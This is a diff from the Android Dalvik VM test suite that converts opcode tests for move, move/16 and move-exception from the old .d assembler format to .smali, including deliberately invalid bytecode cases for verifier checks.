--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_5.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_5.java
-.class public dot.junit.opcodes.move.d.T_move_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()Z
-.limit regs 9
-       const-wide v0, 124
-
-       move v5, v0
-
-       const v1, 0
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_5.smali
new file mode 100644
index 0000000..b5e136f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_5.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_5.java"
+.class  public Ldot/junit/opcodes/move/d/T_move_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 9
+       const-wide v0, 124
+
+       move v5, v0
+
+       const v1, 0
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_6.d
deleted file mode 100644
index 91da915..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_6.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_6.java
-.class public dot.junit.opcodes.move.d.T_move_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()Z
-.limit regs 9
-       const-wide v0, 124
-
-       move v5, v1
-
-       const v1, 0
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_6.smali
new file mode 100644
index 0000000..6f560cd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_6.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_6.java"
+.class  public Ldot/junit/opcodes/move/d/T_move_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 9
+       const-wide v0, 124
+
+       move v5, v1
+
+       const v1, 0
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_7.d
deleted file mode 100644
index fa615c1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_7.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_7.java
-.class public dot.junit.opcodes.move.d.T_move_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()J
-.limit regs 9
-       const-wide v0, 124
-       const v5, 0
-
-       move v1, v5
-
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_7.smali
new file mode 100644
index 0000000..6e30237
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_7.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_7.java"
+.class  public Ldot/junit/opcodes/move/d/T_move_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()J
+.registers 9
+       const-wide v0, 124
+       const v5, 0
+
+       move v1, v5
+
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_1.d
deleted file mode 100644
index bb5335f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_1.d
+++ /dev/null
@@ -1,53 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_16_1.java
-.class public dot.junit.opcodes.move_16.d.T_move_16_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()Z
-.limit regs 5000
-       const v0, 123
-       const v1, 5678
-       
-       move/16 v4000, v0
-       move/16 v4001, v1
-       
-       move/16 v4000, v4001
-       
-       const/4 v4, 5678
-       
-       move/16 v0, v4000
-       move/16 v1, v4001
-
-       if-ne v0, v4, Label0
-       if-ne v1, v4, Label0
-       
-       const v1, 1
-       return v1
-
-Label0:
-       const v1, 0
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_1.smali
new file mode 100644
index 0000000..1a755d3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_1.smali
@@ -0,0 +1,60 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/move_16/d/T_move_16_1;
+.super Ljava/lang/Object;
+.source "T_move_16_1.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method public static run()Z
+    .registers 5000
+
+    const v0, 0x7b
+
+    const v1, 0x162e
+
+    move/16 v4000, v0
+
+    move/16 v4001, v1
+
+    move/16 v4000, v4001
+
+    const/16 v4, 0x162e
+
+    move/16 v0, v4000
+
+    move/16 v1, v4001
+
+    if-ne v0, v4, :cond_1f
+
+    if-ne v1, v4, :cond_1f
+
+    const v1, 0x1
+
+    return v1
+
+    :cond_1f
+    const v1, 0x0
+
+    return v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_2.d
deleted file mode 100644
index 52454ae..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_2.d
+++ /dev/null
@@ -1,47 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_16_2.java
-.class public dot.junit.opcodes.move_16.d.T_move_16_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()Z
-.limit regs 5000
-       const v1, 5678
-       
-       move/16 v4001, v1
-       move/16 v0, v4001
-       
-       const/4 v4, 5678
-
-       if-ne v0, v4, Label0
-       if-ne v1, v4, Label0
-       
-       const v1, 1
-       return v1
-
-Label0:
-       const v1, 0
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_2.smali
new file mode 100644
index 0000000..13a41ec
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_2.smali
@@ -0,0 +1,52 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/move_16/d/T_move_16_2;
+.super Ljava/lang/Object;
+.source "T_move_16_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method public static run()Z
+    .registers 5000
+
+    const v1, 0x162e
+
+    move/16 v4001, v1
+
+    move/16 v0, v4001
+
+    const/16 v4, 0x162e
+
+    if-ne v0, v4, :cond_13
+
+    if-ne v1, v4, :cond_13
+
+    const v1, 0x1
+
+    return v1
+
+    :cond_13
+    const v1, 0x0
+
+    return v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_3.d
deleted file mode 100644
index 604cbf3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_3.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_16_3.java
-.class public dot.junit.opcodes.move_16.d.T_move_16_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 5000
-       move/16 v0, v5000
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_3.smali
new file mode 100644
index 0000000..f6f1305
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_3.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_16_3.java"
+.class  public Ldot/junit/opcodes/move_16/d/T_move_16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 5000
+       move/16 v0, v5000
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_4.d
deleted file mode 100644
index 2c098a0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_16_4.java
-.class public dot.junit.opcodes.move_16.d.T_move_16_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 5000
-       const v0, 0
-       move/16 v5000, v0
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_4.smali
new file mode 100644
index 0000000..7bac6fc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_16_4.java"
+.class  public Ldot/junit/opcodes/move_16/d/T_move_16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 5000
+       const v0, 0
+       move/16 v5000, v0
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_5.d
deleted file mode 100644
index ccacc33..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_16_5.java
-.class public dot.junit.opcodes.move_16.d.T_move_16_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5000
-       move/16 v0, v4999
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_5.smali
new file mode 100644
index 0000000..89b2cb6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_16_5.java"
+.class  public Ldot/junit/opcodes/move_16/d/T_move_16_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5000
+       move/16 v0, v4999
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_6.d
deleted file mode 100644
index eb4b9c8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_16_6.java
-.class public dot.junit.opcodes.move_16.d.T_move_16_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 5000
-       const-wide v123, 123
-       move/16 v255, v123
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_6.smali
new file mode 100644
index 0000000..836bfcb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_16_6.java"
+.class  public Ldot/junit/opcodes/move_16/d/T_move_16_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 5000
+       const-wide v123, 123
+       move/16 v255, v123
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_7.d
deleted file mode 100644
index a6aa1d2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_7.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_16_7.java
-.class public dot.junit.opcodes.move_16.d.T_move_16_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 5000
-
-       const-wide v123, 123
-       move/16 v255, v124
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_7.smali
new file mode 100644
index 0000000..3cbf8fc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_7.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_16_7.java"
+.class  public Ldot/junit/opcodes/move_16/d/T_move_16_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 5000
+
+       const-wide v123, 123
+       move/16 v255, v124
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_8.d
deleted file mode 100644
index 8d98954..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_8.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_16_8.java
-.class public dot.junit.opcodes.move_16.d.T_move_16_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()J
-.limit regs 5000
-
-       const-wide v123, 123
-       const v0, 0
-       move/16 v124, v0
-       return-wide v123
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_8.smali
new file mode 100644
index 0000000..b683bd9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_16/d/T_move_16_8.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_16_8.java"
+.class  public Ldot/junit/opcodes/move_16/d/T_move_16_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()J
+.registers 5000
+
+       const-wide v123, 123
+       const v0, 0
+       move/16 v124, v0
+       return-wide v123
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_1.d
deleted file mode 100644
index ed7aa2e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_1.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_exception_1.java
-.class public dot.junit.opcodes.move_exception.d.T_move_exception_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 6
-
-Label1:
-       const v1, 15
-       const v2, 0
-       div-int v0, v1, v2 
-       
-Label2:
-       goto Label4
-
-Label3:
-       move-exception v3
-       throw v3
-
-Label4:
-       return-void
-
-.catch all from Label1 to Label2 using Label3
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_1.java b/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_1.java
index 9edf6ea..951250f 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_1.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_1.java
@@ -18,6 +18,7 @@
 
 public class T_move_exception_1 {
     
+    @SuppressWarnings("ConstantOverflow")
     public void run() {
         try{
             int a = 15/0;
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_1.smali
new file mode 100644
index 0000000..f865a7e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_1.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_exception_1.java"
